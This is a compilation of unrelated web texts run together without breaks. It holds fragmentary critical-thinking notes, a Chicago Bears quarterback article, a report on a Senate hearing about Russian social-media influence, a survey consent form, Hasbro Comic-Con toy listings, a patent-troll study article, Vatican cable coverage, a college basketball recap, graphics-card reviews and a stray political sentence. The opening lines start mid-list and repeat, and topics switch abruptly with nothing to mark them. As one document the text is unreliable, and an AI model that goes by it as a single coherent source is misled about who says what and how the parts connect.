accept a new explanation, model, or paradigm because it explains the evidence better, is simpler, or has fewer inconsistencies or covers more data
accept new priorities in response to a reevaluation of the evidence or reassessment of our real interests, and
do not reject unpopular views out of hand. Discipline We are thinking critically when we are precise, meticulous, comprehensive, and exhaustive
resist manipulation and irrational appeals, and
avoid snap judgments. Judgment We are thinking critically when we recognize the relevance and/or merit of alternative assumptions and perspectives
recognize the extent and weight of evidence In sum, Critical thinkers are by nature skeptical . They approach texts with the same skepticism and suspicion as they approach spoken remarks.
. They approach texts with the same skepticism and suspicion as they approach spoken remarks. Critical thinkers are active , not passive. They ask questions and analyze. They consciously apply tactics and strategies to uncover meaning or assure their understanding.
, not passive. They ask questions and analyze. They consciously apply tactics and strategies to uncover meaning or assure their understanding. Critical thinkers do not take an egotistical view of the world. They are open to new ideas and perspectives. They are willing to challenge their beliefs and investigate competing evidence. Critical thinking enables us to recognize a wide range of subjective analyses of otherwise objective data, and to evaluate how well each analysis might meet our needs. Facts may be facts, but how we interpret them may vary. By contrast, passive, non-critical thinkers take a simplistic view of the world. They see things in black and white, as either-or, rather than recognizing a variety of possible understanding.
They see questions as yes or no with no subtleties.
They fail to see linkages and complexities.
They fail to recognize related elements. Non-critical thinkers take an egotistical view of the world They take their facts as the only relevant ones.
facts as the only relevant ones. They take their own perspective as the only sensible one.
Why the Bears signed him
Moving on from Jay Cutler meant drafting a quarterback in April but also signing one in free agency in March. General manager Ryan Pace was determined to take multiple swings at the most important position in sports.
The Bears had high opinions of Mitch Trubisky and others, but they wanted to give whomever they selected time to develop, so they needed a veteran. Glennon and Brian Hoyer were their top options.
Bears quarterback Mike Glennon doesn't like what he sees from the sidelines during his team's 29-7 loss to the Buccaneers on Sunday.(Photo by Brian Blanco/Getty Images)
Hoyer was OK with being a tutor, but his price increased after starting five games for the Bears in 2016. He went 1-4 but completed 67 percent of his passes for 1,445 yards with six touchdowns and no interceptions before breaking his left (non-throwing) arm.
Hoyer was attractive to new 49ers coach Kyle Shanahan, who was Hoyer’s offensive coordinator with the Browns in 2014. While the 49ers aggressively courted Hoyer, the Bears eyed Glennon, thinking he had more upside because he was four years younger.
The Buccaneers and Jets were the competition. The Bucs offered to make Glennon the NFL’s highest-paid backup, surpassing Chase Daniel’s then-average of $7 million. In other words, Glennon’s market value was above that.
Free agency also raised Hoyer’s price. He signed a two-year, $12 million contract with the 49ers after playing for $2 million last season with the Bears.
The Bears wouldn’t be outbid for Glennon. They needed him to make their plan for their rookie — whomever he was — work. Glennon signed a three-year, $45 million contract but was guaranteed only one year and $18.5 million.
His $15 million annual average ranks 21st among quarterbacks. Trubisky is 23rd at approximately $7.3 million.
Why they had hope
The Bears’ research told them Glennon was an exemplary teammate through tough situations with North Carolina State and the Bucs. He also was determined to prove himself.
That gave the Bears confidence he would be able to handle the arrival of a rookie, though that’s now extremely debatable.
On the field, the Bears surely saw shortcomings in Glennon. The hope, though, was that Glennon’s determination and experience would help compensate for those deficiencies.
The Bears also had faith in their offensive situation. They thought stability at quarterback would make them markedly better after using Cutler, Hoyer and Matt Barkley last season and going 3-13.
Glennon was sacked at a high rate with the Bucs, but the Bears allowed the seventh-fewest sacks in the league in 2016. Jordan Howard also was the NFL’s second-leading rusher.
Why things broke down
The early signs were positive. Glennon was the leader the Bears hoped he would be. He organized throwing sessions at Deerfield High School and in Florida, which Trubisky attended. Teammates legitimately bought into him as a leader.
But Glennon struggled to stack good practices together during training camp, and the situation for him deteriorated. Guard Kyle Long’s surgically repaired right ankle required more time, and an emergency appendectomy and a broken pinkie sidelined receiver Markus Wheaton.
The situation worsened during the preseason. Losing receiver Cam Meredith (torn anterior cruciate ligament in left knee) was a devastating blow. He was the one receiver Glennon had developed a real rapport with before the regular season. Without Meredith, the offense changed two weeks before the regular season opened.
Losing receiver Kevin White (broken left shoulder blade) in Week 1 only made matters worse. Certain plays were scrapped from the offense because of their injuries.
Why change is needed
It’s simple: Glennon has committed eight turnovers and is the No. 1 reason the Bears are 1-3.
The Bears signed him with the best intentions, but he hasn’t been able to overcome the parts around him. His limitations are obvious when the situation — in general or on any given play — isn’t ideal.
Maintaining a message of accountability in the locker room starts with benching Glennon.
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Providers including Southern, Affinity and Thames Water said they were monitoring the situation.
In Seathwaite, villagers have not been given any specific advice but say they are concerned about the unusual situation.
Peter Edmondson, who runs Seathwaite Farm Camping, told The Telegraph the river had been “bone dry” for more than a month.
"Russians have been conducting information warfare for decades," said Democratic Sen. Mark Warner in his opening remarks. "But what is new is the advent of social-media tools with the power to magnify propaganda and fake news on a scale that was unimaginable back in the days of the Berlin Wall. Today’s tools seem almost purpose-built for Russian disinformation techniques."
The hearing revealed new and startling insight into the ways in which Russians pitted Americans against each other, and reinforced the notion that social-media ads are only a portion of the threat from foreign actors. Senators also forced the tech execs to explain how they police content on their platforms in different parts of the world.
Here were the most revealing exchanges.
"It's hard to attend an event in Houston, Texas when you're trolling from St. Petersburg, Russia." - Republican Sen. Richard Burr
Burr, the committee chair, highlighted two Facebook posts from a Russian propaganda group called Internet Research Agency that created a conflict on the streets of Houston by drawing two groups of protestors to fake “rallies” at the same place and time. One post, shared by the fake Facebook page Heart of Texas, promoted a purported protest against the "Islamization of Texas." The second post, uploaded by the fake page United Muslims of America, promoted an event aimed at saving "Islamic knowledge." Both groups bought ads to publicize their events, spending about $200 in total.
Burr then showed images of the resulting clash outside the Islamic Center in Houston, dramatizing how fake accounts can produce real conflict. Skeptics of the impact of Russian meddling in the US election have argued that just because Russia endeavored to influence American voters doesn't mean they did. But the fact that people showed up for these protests, designed to foment anger on both sides, demonstrates that influence.
"Do you believe that any of your companies have identified the full scope of Russian active measures?" - Warner
"I have to say no." – Facebook General Counsel Colin Stretch
In September, Facebook acknowledged that it had discovered 3,000 ads from 470 accounts connected to Internet Research Agency. It's since revealed that those accounts collectively created 80,000 pieces of content that may have been shared, both organically and through ads, with 126 million people. It shared that information with Twitter and Google. Now Twitter says it has identified 2,752 accounts linked to Internet Research Agency, while Google says it has identified 18 YouTube channels connected to the group.
But Warner said he’s concerned that much of what we know about Russian actions on these platforms is "derivative" of Facebook's initial findings. In response to his question, executives of Twitter and Google also said they did not believe their companies had yet uncovered the full extent of Russian activities.
The dialogue illustrates an important point: The companies have been slow to investigate and respond to Russian meddling, which started in 2015, more than two years ago. "Many of us on this committee have been raising these issues since the beginning of this year," Warner said. "Our claims were frankly blown off by the leadership of your companies."
"Is a foreign influence campaign a violation of the terms of service of any of the three companies represented here today?" - Republican Sen. Marco Rubio.
Facebook says it deleted the accounts connected to the Internet Research Agency because the accounts were fake, a violation of its terms of service. Twitter says it deleted another 36,746 Russian bot accounts because its terms of service prohibit the use of automated accounts to spread spam on the service. And YouTube argues it allows the Russian propaganda media company RT to continue publishing videos because RT hasn't explicitly violated the company's rules around inciting hate speech or violence.
In response to Rubio’s question, Twitter’s general counsel Sean Edgett said foreign influence did not directly violate Twitter’s terms of service. "We don't have state-sponsored manipulation of elections as one of our rules," he said. "The other rules like inflammatory ads content would take down most of these posts, but we don't outright ban it."
Federal law bars foreign nationals from interfering in US elections. But the emphasis on fake accounts raises the question of whether the companies would act against foreign agencies that deployed trolls using real names and faces to spread the same messages. Guided by Rubio’s questions, Facebook's Stretch said the company complies with laws in other countries that restrict speech, such as a German law that makes it a crime to deny the Holocaust. The implication of Rubio’s remarks: Why aren’t the companies enforcing the US law banning foreign interference in elections?
"Do any of you have any information that registered voter data was uploaded and used to customize advertising or messaging to individual voters?" - Rubio
"We haven't seen evidence of that." - Twitter's Edgett
"The same is true for Facebook." - Facebook's Stretch
Facebook’s revelation that Russians had purchased ads prompted speculation about whether the Russians had help targeting the ads, potentially from the Trump campaign or its allies. The companies made clear Wednesday that they have no evidence that voter lists were used. Facebook and Twitter offered Internet Research Agency all of the targeting capabilities they needed.
Burr also noted that the Russians targeted ads at both “safe” states politically and “swing” states. He said nearly five times as many ads were targeted at Maryland, which Hillary Clinton won comfortably, as at Wisconsin, a key swing state that Trump won unexpectedly. He urged listeners not to consider Russian interference as an effort to prop up one candidate over another. "It is short-sighted and dangerous to selectively focus on one piece of information and think that somehow tells the whole story," he said.
"Their strategy is to take a crack in our society and turn it into a chasm." - Independent Sen. Angus King
As details of the Russian ad campaign have leaked to the public, questions have grown about what, exactly, the Internet Research Agency sought to accomplish. The content simultaneously supported conservative and liberal viewpoints. It attacked immigrants and welcomed them. It denounced white supremacism and denied its existence. Conservatives have used this as a defense of President Trump, arguing that Russians had no influence on the election outcome.
But Wednesday’s hearing made clear that the Russians achieved another outcome—stoking divisions and anger among Americans. Setting aside who won the race, anger and distrust in the American electoral system was the central outcome of the 2016 election. In clearly demonstrable ways, it was Russians who generated that anger.
Some, including the platforms themselves, have tried to frame the question of shutting down this content as a free-speech issue. Republican Sen. James Lankford challenged that view. "This is not an opposition of free speech battle. This is actually a battle to try to protect free speech," he said. "If two Americans have a disagreement. Let's have at it. If an outsider wants to come to it, we do have a problem with that."
"You’ve created these platforms, and now, they’re being misused, and you have to be the ones to do something about it. Or we will." - Democratic Sen. Dianne Feinstein
Feinstein’s remark, from a California senator generally viewed as friendly to tech, underscored how members of both parties are exploring regulatory fixes to the problems revealed during the campaign.
Burr noted that the companies are not exempt from federal laws requiring political advertisers to publicly disclose their funding. "I hope if there’s a takeaway from this, it's that everybody’s going to adhere to FEC law," he said.
Democratic Sen. Joe Manchin, meanwhile, pushed all three companies to support recently introduced legislation called the Honest Ads Act, which would require tech platforms to publish disclosures on political and issue-based ads and retain databases with additional information about who's behind the ad, as TV and radio stations do now. Twitter and Facebook recently announced similar features, though it’s not clear if the disclosures will match those of broadcasters.
Both Facebook and Twitter said they would work with regulators on a legislative solution. Sen. Feinstein suggested they'd better act fast, saying, "We are not going to go away gentlemen."
”Are you also intending to turn over to the committee any kind of direct messages that went on among the different accounts?” – Democratic Rep. Joaquin Castro
This question, referring to direct messages on Twitter and private chats on Facebook that phony Russian social-media accounts may have sent individual users, came during a House Intelligence Committee hearing Wednesday afternoon. So far, neither company has shared that content with Congress, and judging by their responses, they don’t seem poised to do so any time soon.
“Direct messages are the private communications of our users. We take that privacy right and responsibility very seriously,” said Twitter’s Edgett. Facebook’s Stretch said the question raised “thorny issues,” adding, “We’re happy to take a look at it and do what we can.”
The exchange demonstrates that despite gestures of transparency, these companies are generally responding to requests rather than volunteering information. It also underscores the many additional corners of Russia’s online influence campaign that have yet to be explored.
”Have your investigations looked at whether the Trump campaign was sharing Russian content? Have they looked at whether the Russians were sharing Trump campaign content?” – Democratic Rep. Jackie Speier
Perhaps the most cryptic back and forth of the day came toward the end of the House hearing. Speier noted two tweets that appeared around the same time during the campaign—one from the Trump campaign and one from RT—that both dealt with the subject of Hillary Clinton’s health. Speier asked the companies if they noted similarities in the content generated by Russian entities and by the Trump campaign.
Twitter and Facebook had both earlier said they had no evidence that the Russians and the Trump campaign targeted the same users. But this was a different question, relating to the similarity of content. And executives of both companies ducked. Facebook’s Stretch said, “We provided all relevant information to the committee, and we do think it’s an important function of this committee, because you have access to broader set of information than any single company will.”
The answer was puzzling not only because it was inconclusive, but also because the companies themselves are in the best position to know whether a post or tweet was repurposed and used by another account. Even if content from one account turned up elsewhere, that doesn’t necessarily imply collusion. Such retweets and repostings happen all the time. Viral content by its very nature has a way of being coopted.
Participation will be approximately 15 minutes and will involve completing a brief, anonymous survey. After the conclusion of the survey, you will have the opportunity to participate further in a brief confidential follow-up interview (approximately 20 - 30 minutes at length) conducted at a convenient time if selected. If you choose to provide contact information such as your phone number or email address, your survey responses will no longer be anonymous to the researcher. However, no names or identifying information would be included in any publications or presentations based on these data, and your responses to this survey will remain confidential. Interviews will be digitally recorded and transcribed verbatim. You will be given the opportunity to review transcriptions, verify for authenticity, and delete any portion. The information provided from the interview will remain confidential and reported in aggregate (group fashion) with no identifying information linking you to your responses. If selected, compensation for participating in both, the survey and interview, will receive a $25.00 Amazon® gift card. Although there are no direct benefits to you, the information gathered in this study will be used to develop educational material for Taekwondo athletes regarding the signs, symptoms, and risk of concussions.
The survey is being conducted with the help of Survey Monkey®, a company not affiliated with RMUoHP or local institution and with its own privacy and security policies that you can find at its website (www.surveymonkey.com). I anticipate that your participation in this survey presents no greater risk than everyday use of the Internet.
Take a look at what will be bringing many tears of joy and frustration to this year’s Comic-Con:
[UPDATE July 10 #2]
Hasbro is bringing their annual Magic the Gathering exclusive back to Comic-Con – and this year is set to include a Magic: The Gathering 2017 Planeswalker Pack, which includes a 24″36″ screen print of Nicol Bolas as illustrated by Brandon Holt. The print, a collaboration with Mondo, is printed on card stock. The actual Magic the Gathering set includes six Planeswalker cards with artwork from illustrator Vincent Proce, and includes cards for Gideon Jura, Jace Beleren, Liliana Vess, Chandra Nalaar, Nissa Revane, and Nicol Bolas.
The set will retail for $180.
Here’s a look at the set:
[UPDATE July 10]
Hasbro is celebrating a multitude of properties in one of their exclusives this year, as Entertainment Weekly has unveiled a first look at their Revolution Comic Crossover Mega-Set, which features 16 characters from Micronauts, Visionaries, Action Man, G.I. Joe, MASK, ROM the Space Knight, and more.
Based on the IDW Comics series Revolution, Hasbro has created new toys based on the work in this Mega Set, which will retail for $99.99 (and be available at SDCC and Fan Expo Canada). The full set includes Jetfire from Transformers, Roadblock from G.I. Joe, Action Man, a team of Micronauts, Matt Trakker from M.A.S.K. Mobile Armored Strike Command, Leoric from Visionaries, and ROM and Dire Wraight from ROM the Spaceknight.
Here’s a look:
[UPDATE June 20]
Hasbro’s latest San Diego Comic-Con exclusive is ready to shred: a Transformers Primitive Optimus Prime. The design (which was in part created by Primitive Skateboarding founder Paul Rodriguez) feature Primitive Skate’s classic black and gold colors for a more sophisticated and on-brand look, and comes packaged in packaging to mimic a “skate shoe” box with grip-tape inspired texture. He comes quipped with a ramp, rail, and hoverboard – and retails for just $49.99.
The pack includes a Leader Class Optimus Prime figure and a Titan Master Shreddicus Maximus figure, and converts from robot to tractor trailer in 23 steps and from tractor trailer to battle station in 10 steps.
[UPDATE June 15]
One of the rarest G.I. Joe playsets, the 1982 G.I. Joe Cobra Missile Command Headquarters, is being reborn as a San Diego Comic-Con exclusive this year. The original set was only available as a Sears exclusive in 1982-1983, but Hasbro’s 2017 version will be available at their booth (and in limited quantity at HasCon). The recreated set still uses cardboard similar to the original 1982 version, with recreated graphics and a weathered look for the box. It comes equipped with reproductions of the three figures sold in the original 1982 playset, including a Cobra Officer, a Cobra Trooper, and a Cobra Commander. The set includes file cards for the figures, as well as a file card holder for the cards. You can snag the G.I. Joe Cobra Missile Command Headquarters for $49.99.
Here’s a look:
[UPDATE June 6]
It wouldn’t be San Diego Comic-Con without as Hasbro Transformers exclusive, and that’s exactly what was revealed today. Hasbro will be bringing along an exclusive Transformers: The Last Knight Voyager Class Oprimus Prime figure to the con, which is based on both Optimus’ robot mode and Western Star truck mode featured in the upcoming summer film. Optimus comes in collectible display-style packaging, and includes a sword and shield accessory – as well as a free gift with purchase: an authentic piece of truck tire used in the film accompanied by a certificate of authenticity from Western Star.
The figure will retail for $49.99, and here’s a look.
[UPDATE May 18]
Just two days later, we have a look at the second Marvel San Diego Comic-Con exclusive, and it’s amazing. Hasbro will be bringing a Marvel Legends Series Battle for Asgard 5-Pack to the convention, which features Jane Foster Thor, Malekith, Ulik the troll, Original Thor as Odinson, and Bor.
Each figure is equipped with a weapon, and features 30 points of articulation. The set will retail for $99.99.
Here’s a look (click for larger):
[UPDATE May 16]
It’s not Hasbro without a Marvel San Diego Comic-Con exclusive or two, and this year’s first look is a 12 inch Marvel Legends Daredevil figure, based on the classic Marvel comic character. The figure features more than 30 points of articulation, and comes with 12 interchangeable parts and accessories, including an alternate head, alternate hands, and a baton – as well as two posters.
The packaging features original artwork by Marvel’s chief creative officer Joe Quesada, and includes braille on the back in a nice added touch to the character. The figure will retail for $59.99.
Here’s a look (click for larger):
[UPDATE April 15]
The first two Hasbro San Diego Comic-Con 2017 exclusives were unveiled today at Star Wars Celebration in Orlando, and much like in years past, this year’s Star Wars SDCC exclusive Black Series figures both will be improved upon versions of wide retail releases, with exclusive packaging, accessories, and more.
The first, the Star Wars: The Black Series X-34 Landspeeder & 6-Inch Luke Skywalker, will retail for $89.99. Compared to the regular retail release (which will retail for $59.99 and be available in the fall), the Landspeeder has a more detailed weathered deco, as well as a pop-up hood and engine, and Luke comes equipped with a poncho. Here’s a look:
The second exclusive, Star Wars: The Black Series 6-Inch Grand Admiral Thrawn, will retail for $49.99 (compared to the regular retail release, which will retail for $19.99 and be available in the fall), and comes with very cool SDCC exclusive packaging and extra accessories, including all of his trophies in a special trophy room diorama box. Here’s a look:
You can read more on StarWars.com.
Turns out there is a very real, and very negative, correlation between patent troll lawsuits and the venture capital funding that startups rely on. A just-released study [PDF] by Catherine Tucker, a professor of marketing at MIT's Sloan School of Business, finds that over the last five years, VC investment "would have likely been $21.772 billion higher... but for litigation brought by frequent litigators."
The study defines "frequent litigators" as companies that file 20 or more patent lawsuits, which limits the definition to true-blue "patent trolls," or Patent Assertion Entities (PAEs), the term used by the paper. The study covers the period from 1995 to 2012.
Tucker's paper estimates a 95 percent confidence interval for the amount of lost investment to be between $8.1 billion and $41.8 billion. Those numbers are relative to a baseline of just under $131 billion of investment that actually occurred during that five-year period of time.
Negative correlation
The study looked at the correlation between patent litigation generally and VC investment, and then looked specifically at frequent litigators.
When she looked at patent litigation generally, Tucker found that there is a positive correlation between some litigation and VC funding. More lawsuits go along with more investment—to a point.
"In the beginning, in general, patent litigation is good," said Tucker in an interview with Ars. "It suggests a well-functioning patent system and has a positive effect. However, when you get to a certain point, that's no longer the case. Then, the more patent litigation you have, the worse it is for venture capital investment."
When the study limited the question to patent assertion entities, the effect was entirely negative. There's no amount of activity by the frequent litigators that correlates with increased VC investment.
The study uses a complex mathematical technique called regression analysis to determine the correlation. Tucker and her assistants also ran the numbers with alternate scenarios, such as excluding areas known to have heavy patent litigation but limited VC investment, like the Eastern District of Texas and the District of Delaware. It didn't change the results.
Beyond anecdotes
Tucker says she was surprised by how strong the correlation was found to be.
"You hear these anecdotes, of VCs being a little nervous [because of patent lawsuits]," she said. "But I didn't think it would necessarily be strong enough to have an empirical effect."
A few mentions of those anecdotes are included in the first section of her paper. First, there's X-Plane, a South Carolina company sued over using copy protection software provided by Google, which "was forced to abandon product upgrades and new products that were in development." There's also California eyewear startup Ditto, which was sued last year by a troll called Lennon Imaging Technology. The case against Ditto was ultimately dismissed, but the company was still being valued at $3 to $4 million less than it would be otherwise, and it was forced to lay off four of its 15 employees to pay legal expenses. (Lennon Imaging also sued Condé Nast, the parent company of Ars Technica).
The study comes, not coincidentally, at a time when groups pushing for patent reform lost a big debate over a patent reform bill, which stalled in the US Senate last month. The work was funded by the Computer and Communications Industry Association, one of the tech industry groups pushing for an anti-patent-troll bill to be passed.
During the debate, critics of the proposed legislation often asserted that there was a lack of hard data on the pro-reform side. The figure reformers cited most often is the study by James Bessen and Michael Meurer, finding that trolls cost the US economy $29 billion in direct legal costs each year. That study is sometimes attacked by patent reform opponents because it's based in part on secret data provided by RPX, a defensive patent aggregator.
Tucker's study has the advantage of being based entirely on public information: the amount of patent litigation and the amount of VC funding are numbers that are known with certainty.
It remains to be seen if the study can influence the debate in Washington. For this year, reform has been killed, but lawmakers are continuing to discuss smaller measures, like kicking patent trolls out of the International Trade Commission.
Without going into specifics on a number of allegations that emerged with the U.S. cables, the Holy See Press Office said that the reports "reflect the perceptions and opinions of the people who wrote them and cannot be considered as expressions of the Holy See itself."
"Their reliability must, then, be evaluated carefully and with great prudence, bearing this circumstance in mind," the statement said.
Among the documents were cables showing that relations between the Vatican and Ireland deteriorated sharply as the Holy See appeared to ignore a commission looking into complaints of physical and sexual abuse of children by Irish priests.
One cable from earlier this year says the Vatican was angered by the way the Murphy Commission -- which was looking into the how complaints of abuse had been handled by the Church and Irish government -- sidestepped normal diplomatic channels.
The commission had written directly to the Vatican to seek information and requested a meeting with the Vatican's representative in Ireland. The Vatican envoy did not respond, according to the cable.
The cable was one of several published Friday by the Guardian newspaper in London.
The Murphy Commission was appointed after another inquiry issued a report in May 2009 detailing horrific abuses, including 325 alleged cases of abuse by priests, and concluding that the problem was endemic.
"The Vatican believes the Irish government failed to respect and protect Vatican sovereignty during the investigations," the charge d'affaires at the U.S. Embassy to the Holy See, wrote in February 2010.
"Adding insult to injury, Vatican officials also believed some Irish opposition politicians were making political hay with the situation by calling publicly on the government to demand that the Vatican reply."
But the cable added: "Much of the Irish public views the Vatican protests as pettily procedural and failing to confront the real issue of horrific abuse and cover-up by Church officials."
"Resentment toward the Church in Rome remains very high, particularly because of the institutionalized cover-up of abuse by the Catholic Church hierarchy."
But U.S. diplomats credit the Vatican with responding to the unfolding crisis in Ireland "with uncharacteristic speed."
"The Vatican's relatively swift response to this crisis showed it learned key lessons from the U.S. sex abuse scandals in 2002 but still left some Catholics -- in Ireland and beyond -- feeling disaffected," the U.S. charge d'affaires wrote.
Victims' associations were complaining at the time that Pope Benedict XVI had not issued an apology for the abuses and had not ordered the removal of the remaining bishop accused of the cover-up, even though he said he shared the "outrage, betrayal, and shame" of Irish Catholics.
The following month the pope did offer an apology to the victims. "You have suffered grievously and I am truly sorry. I know that nothing can undo the wrong you have endured," he said.
Looking to the longer-term, the U.S. diplomat wrote that the prestige and power of the Irish Catholic Church had been falling ever since its peak with the 1979 visit of Pope John Paul II. The abuse scandals had come amid increasing secularization of society and might further reduce the influence of the Catholic Church, she wrote.
BOSTON -- Outside the Boston College basketball office, on the way to the practice gym, the walls are decorated with giant pictures from the Eagles' biggest wins.
The Sweet 16 appearance in 2006. Upsets over No. 1 North Carolina and No. 6 Duke in 2009. A victory over top-ranked Syracuse four years ago.
Make room for an addition: Boston College 89, Duke 84, an upset that sent the No. 1 Blue Devils to their first loss.
"We're putting one up for this one," coach Jim Christian said. "That's where I would put it. If you get a poster up on that wall, that's a big thing because of the proud history of this place."
Ky Bowman scored 30 points, adding 10 rebounds and nine assists to help Boston College (7-3, 1-0 Atlantic Coast Conference) win its third straight game against the No. 1 team in The Associated Press Top 25. Jordan Chatman scored 22, hitting four straight free throws in the final 16 seconds to ice it.
"I think this is probably going to be one of the top ones," Bowman said.
Gary Trent Jr. scored 25 and Marvin Bagley III had 15 points and 12 rebounds for Duke (11-1, 0-1 ACC).
The Blue Devils erased a 10-point deficit in the second half and led 79-75 with 3:30 to play. Boston College scored 12 of the next 14 points, getting a pair of 3-pointers from Robinson. Duke's Trevon Duval drove to the basket to make it 83-81 with 31 seconds left, but then he was called for an intentional foul on Chatman as BC tried to dribble out the clock.
Chatman made both foul shots, and then with BC retaining possession he was fouled again and made two more. A 3-pointer by Trent made it 87-84, but then Jerome Robinson was sent to the line and hit his free throws with 6 seconds left to ice it.
"This isn't about us being horrible. This is about how great they were. They were terrific. Not good, terrific," Duke coach Mike Krzyzewski said. "We've got to get better. But I knew that. If we won, I would tell you we have to get better."
Despite the first snowstorm of the winter in Boston, a full house of 8,606 filled the Conte Forum -- the first sellout in Chestnut Hill since a game against ninth-ranked North Carolina last Jan. 21.
The fans poured onto the court after Trent's mostly meaningless 3-pointer in the final seconds bounced off the rim, celebrating Christian's biggest win yet. The Eagles finished last in the ACC in each of the past two seasons.
"I told these guys how fortunate they were because there's a lot of guys playing college basketball who are in great programs that will never get a chance to play the No. 1 team in the nation at home," Christian said. "For them, individually, (it's a) lifetime memory and a great step for our program."
Duke led 36-35 with four minutes left in the half before BC scored 13 of the next 16 points, getting back-to-back 3-pointers from Chatman and a fast-break layup from Bowman to open a nine-point lead with 23 seconds before the break. Two free throws cut it to 48-41 before Bowman's 3 at the buzzer rimmed out.
The Eagles were 11 for 16 from 3-point range in the first half and finished 15 of 26 for the game.
"They made almost every shot that left their hands," Bagley said. "It's going to be like that some games."
Chatman hit another 3 to open the second half and give BC its biggest lead. It was 53-43 when Grayson Allen and Bagley hit back-to-back 3-pointers during 15-5 run to tie it.
BIG PICTURE
Duke: The Blue Devils have spent 134 weeks at No. 1 -- tied with UCLA for the most in the history of the AP poll. A win on Saturday would certainly have broken the record.
"It's something you've got to earn it every week," Allen said. "We didn't earn it this week."
Boston College: The Eagles are 4-5 all-time against No. 1 teams in the AP poll. They also won their previous two, beating North Carolina in 2009 and Syracuse in 2014.
MILESTONES
It was the 3,000th game for the Duke basketball program. Krzyzewski had been going for his 500th win away from Cameron Indoor Stadium, and his 400th regular-season ACC win. Duke had been 20-2 against BC all-time, and 16-1 in ACC play, with the other loss coming in Boston in 2009. Since then, the Blue Devils have beaten the Eagles 11 times in a row.
ALLEN'S EYE
Allen sustained a bruise under his right eye late in the first half when he went to the floor taking a charge and teammate Javin DeLaurier landed on his face.
Allen missed seven of his first nine shots and finished with 14 points on 5-for-20 shooting, making one of nine 3-point shots.
HAWKINS GROUNDED
Boston College played its first game without Deontae "Teddy" Hawkins, who injured his knee and is out for the rest of the season. A graduate transfer from Illinois State who attended the game on crutches, Hawkins had been BC's top rebounder and third-leading scorer.
UP NEXT:
Duke: Hosts Evansville on Dec. 20.
Rated 5 out of 5 by Anonymous from Ultra Settings without problems Iused three different video graphics cards and all had issues with ultra settings in my game. I was making an attempt to save money with cheaper cards.The GTX 1070, I've been told, is overkill for World of Tanks. But, my card is now future proof, ready for the new monitors. I get to play my game at full settings, enjoying every moment. The only thing I didn't like about the card was the120mm radiator fan. It is a cheap 2 wire fan powered from the card. These fans, designed to push the most air,runs unmonitoredat full speed. The result ismaking too much noise.I was able to disconnect the fan and replaced it with a 3 wire, high pressure, quieter fan that I connected to a system fan header on the motherboard. This lets me monitor the fan's speed with software. It is much quieter running now. Anyone buying this card should order apremium high static pressure fan with it.
Rated 5 out of 5 by Anonymous from Quiet at load w/ very low temperatures! PROS: Quiet under load! Any noise from the pump/fan does not increase noticeably when running a benchmark. Performance was also fantastic and the card automatically hit a boost core clock of 1961 right out of the box. Doing some simple overclocking (leaving voltage alone) pushed the boost clock over the 2000 mark. Max temperature while benchmarking was 48 C, this did not change even when a manual overclock was applied. The gaming performance of any 1070 is fantastic! Very good value. CONS: Unlike the air-cooled cards, this one does NOT shut off the fan or pump when the card is idle. The fan noise at idle is noticeably louder than my other fans.
Rated 4 out of 5 by Anonymous from Great buy product, might have a tricky install though It works great and has amazing graphics capabilities that allow me to finally play all my steam games at ultra settings without any problems. Only reason it wasn't a 5 star for me was when I went to install it on the back side of my pc tower case I had to drill new holes because the water block for the water color/ radiator sat to close to where the card mounted and didn't fit since I could not mount it on top because of my cpu water cooler being there. Other than that problem I have loved it for the 2 weeks that I've had it up and running. Would definitely get more but without the water cooler attachment if I ever have the money to do any SLI bridges.
Rated 5 out of 5 by Anonymous from Powerful card! This thing is awesome. Upgraded from a rx480, and this card handles everything I throw at it. Once I upgrade my motherboard/cpu that's when it will really shine. It keeps Cooler then my processor which is also watercooled. Underload it gets to 44c and idle drops to 33c and 35c while watching twitch and browsing the web. I use dual 1080p monitors and it doesn't even think twice about anything I do. I was going to replace the oem fan with an aftermarket one but haven't seen the need yet, may do it in the future just to see if it will get any colder. 10/10 would recommend!
Rated 5 out of 5 by Jonah from 40C even overclocked and under intensive loads! I run this card for 2 different reasons: 1 to game with and 2 to Mine some cryptocurrency. During gaming I don't even need to overclock it as Witcher 3 with Ultra settings (I disabled hair works) on 1080P runs in the 100-150FPS range on stock clocks. For mining I have it overclocked to +100mv, core +125mhz, Mem +675mhz in MSI Afterburner. The memory clock is too high to game with as you'll see artifacts, but for mining it works out to 30.5MH/s with ETH without difficulty. The card runs nearly 24/7 and I've never seen the temps exceed 45c even after 16+ hours of load. When I want to overclock for games I usually do a mild OC of core +125 mhz, Mem +400-550mhz. I could push it higher but I'm running on a 1080p TV at 60HZ. In Far Cry 4 and Just Cause 3 the FPS on max settings is in the 150FPS range so I turn on Vsync to keep it consistent and the GPU never goes above a 50% load. I don't regret this card one bit, and since it can mine decently it will eventually pay for itself (6+month for ROI atm). I've played with my friends GTX 1060, but this 1070 walks all over it. My setup is: GTX 1070 (this card), Ryzen 5 1600 OC'd to 3.925ghz, Samsung 960 evo M.2 SSD 250gb, 2TB seagate drive for my games, Team Dark Ram 2 8GB sticks running at 3066 mhz, Corsair RM100x 1000 watt PSU, etc. This card scores a 12563 on passmark with core +125 and mem +550. Overall I'm happy with this card as I came from a GTX 950 and the difference was astounding. You won't regret this card!
Rated 4 out of 5 by Anonymous from A large beast with plenty of power The GeForce GTX 1070 Hybrid graphics card is great, but it is a bit of a monster. I had to move one of my hard drives just to fit it in my case properly. The radiator/fan unit also takes up a bit of room. I didn't realize when I purchased it that my CPU cooling radiator sat so close to where this radiator/fan unit needed to be mounted. I knew that I had to remove the existing fan, but I ended up having to also remove the CPU radiator/fan to mount this unit. After I mounted the graphics card radiator/fan, I had to figure out how to remount the the CPU radiator (I wasn't paying much attention when I removed it and it required me to latch some clips that weren't easily visible...I eventually figured it out). When all was said and done, there is less than a one inch gap between the cooling units. This really isn't a product problem; it's more a motherboard design problem (can't change that though). The only minor complaint that I have about this unit is that the power plug doesn't seem to fit securely. It has an adapter that uses two six-pin plugs to go to an eight-pin plug for the graphic card. I had to push it pretty hard until it clicked. However, about a week later, I was in a game when something popped, the screen went blank, and the GPU fan went to full speed. I restarted the computer a couple times to see if it would clear it; it didn't. I thought the graphics card had blown, but when I looked in the case, I saw that the power plug had just popped out. I pushed it in again and this time it seemed to click more securely. Everything then started up fine. That was a few days ago and I have my fingers crossed that this doesn't happen again. As for the graphics card itself, it's great. I've used some pretty graphic intensive games at the highest settings and this thing doesn't even blink. The resolution is impressive and the speed of game characters, the lighting and shadow effect, and all the other game effects are all top notch.
Many citizens are rightfully concerned by an alarming amount of evidence showing that this supposed healthcare miracle pill will instead squeeze the middle class, cause insurance premiums to keep skyrocketing, while also negatively impacting job creation.
